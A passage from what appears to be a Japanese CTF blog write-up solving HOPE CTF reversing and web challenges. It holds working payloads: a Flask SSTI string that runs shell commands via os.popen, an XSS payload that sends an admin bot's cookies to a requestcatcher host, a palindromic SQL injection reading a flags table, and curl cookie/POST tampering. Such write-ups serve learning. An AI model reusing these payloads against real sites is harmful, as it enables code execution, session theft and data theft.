        flag = flag[0:start + i * step] + pattern[i] + flag[start + i * step + 1:]

print(f"[+] {flag}")

[rev] sequence

ghidraでCに戻して見てみよう。
check関数で判定されていて、判定が通ればフラグが表示される。
read_numbers関数で6つの数字を入力することができる。

  else if (buf[0] == 0xc) {
    for (i = 1; i < 6; i = i + 1) {
      iVar1 = buf[i + -1] * 3 + 7;
      uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c;
      if (buf[i] != (iVar1 + uVar2 & 0xf) - uVar2) {
        ret = 0;
        goto LAB_00101305;
      }
    }
    ret = 1;
  }

この辺りが判定部分になる。
これをもとに復元コードを書いて、出てきた数字を入れるとフラグが手に入る。

#include <iostream>
using namespace std;
 
int main() {
    int buf [6];
    buf[0] = 0xc;
    for (int i = 1; i < 6; i = i + 1) {
        int iVar1 = buf[i + -1] * 3 + 7;
        uint uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c;
        buf[i] = (iVar1 + uVar2 & 0xf) - uVar2;
    }
 
    for (int i = 0; i < 6; i = i + 1) {
        printf("%d\n", buf[i]);
    }
    return 0;
}
$ nc mc.ax 31973
input: 12 11 8 15 4 3
hope{definitely_solvable_with_angr}

[rev] super anti scalper solution 9000

ChromeのDevToolsを起動して、{}みたいなやつをクリックして整形する。
checkSolveというのがあるので内部をステップ実行していく。
適当にブレークして、if (n === o[ほにゃらら])のnには入力が入ってくるので、o[ほにゃらら]をConsoleで実行するとフラグが出てくる。

hope{sHoe_1ddbf55508afcc08_sold!}

[web] secure-page

Cookiesと記載があるので、Cookieを注意して見てみる。
GET /するとSet-Cookie: admin=falseと帰ってくる。
curl -b 'admin=true' https://secure-page.mc.ax/ | grep hopeでフラグゲット。

hope{signatures_signatures_signatures}

[web] reverser

ソースコードを見てみると、37行目のrender_template_stringに外部入力がそのまま渡されている。
SSTIで攻撃可能。

{{config}}で試すと500エラーになる。
あれ?
環境を作って動かしてログを見てみる…

output = }}gifnoc{{

あー。ちょうどいいので、}}gifnoc{{で試すとうまく動く。
問題名はそういうことね。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}
逆を投げるとflag-ccba9605-afeb-49a6-8aac-d56bac20705b.txtが得られるので、
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag-ccba9605-afeb-49a6-8aac-d56bac20705b.txt').read()}}
逆を投げるとフラグゲット

hope{cant_misuse_templates}

[web] flag-viewer

abcと入力するとadminしか見られないと言われる。
adminを入力しようとすると失敗するが、POST /flagに直接adminを送ってみると、フラグが得られる。
curl https://flag-viewer.mc.ax/flag -X POST -d "user=admin" -v
locationに/?message=hope%7Boops_client_side_validation_again%7Dと入っているので、実際にGETでアクセスしてもいいし、
適当に変換するとフラグが得られる

hope{oops_client_side_validation_again}

[web] pastebin

コードリーディングで気になる所

  • index.js
    • 22行目 GET /Cookieのerrorの内容がそのまま出力
    • 42行目 POST /newでhtmlタグを抑止
    • 50行目 GET /flashで入力をCookieのerrorに入れている

/flashを呼べば自動でXSSが発火しそう。
https://pastebin.mc.ax/flash?message=%3Cs%3Exss
としてみると発動している。よさそう。

<img src=1 onerror="window.location.href='https://xxxxxxxxx.requestcatcher.com/test?get='+document.cookie">という感じで発火させて抜き出す。
https://pastebin.mc.ax/flash?message=%3cimg%20src%3d1%20onerror%3d%22window.location.href%3d'https%3a%2f%2fxxxxxxxxx.requestcatcher.com%2ftest%3fget%3d'%2bdocument.cookie%22%3e
をadmin-botに投げるとrequestcatcher経由でフラグが得られる。

hope{the_pastebin_was_irrelvant}

[web] point

問題としてはjson{"what_point":"that_point"}を与えられればフラグが得られる。
Unicodeか?と思ったが、\もフィルタされている。

うーん、と思って探すと以下のような記事を見つける。
Goにおけるjsonの扱い方を整理・考察してみた ~ データスキーマを添えて
case-insensitiveっぽい。

{"What_point":"that_point"}のように入力を渡すとフラグが得られる。

hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

[web] oeps

まずはコードリーディング。

  • app.py
    • テーブルflagsにフラグは格納されるが、どこからも参照されていない。SQL Injectionするんだろう。
    • 193行目 submissionがSQL文に入力されているが、特殊なフィルタリング。脆弱か
      • これにより、pendingテーブルにデータを格納可能
      • GET /で表示される

app.pyだけを読んで糸口が見えてきたので、server.pyは読まずに攻撃を開始する。
submissionは空白を取り除いた後、回文であることを判定している。
よって、回文であって、flagを持ってくるようなpayloadを持ってくればよさそう。

insert into pending (user, sentence) values ('%s', '%s');
という感じで最初の%sはtokenが入るので無理で、後半にflagを入れるようにして
insert into pending (user, sentence) values ('%s', '' || (select flag from flags)); -- ');
という形を目指す。
入力は' || (select flag from flags)); --となり、ハイフン以降はコメントになるので、ちょうどここを中心として、逆の文字を入れて最終的なpayloadは
' || (select flag from flags)); -- ;))sgalf morf galf tceles( || '
これをPOST /submitのsubmisson=にエスケープして入れればフラグが得られる。

hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}

終わりに

inspect-meがマジで何が起きているのかさっぱりわからなかった…
こういうのってなんかジャンル名ついてるんだろうか。
アンチデバッグというか、どういう次元の話なんだろう。

あと、revのときに「GLIBC_2.34がない」みたいなエラーが出たけど、どうしたらよかったんだろう。
discordではubuntu21.10を使ったらできたって書いてあったけど、バージョンからubuntuバージョンを逆算する方法もわからんし、もっと手軽な方法ないんかな。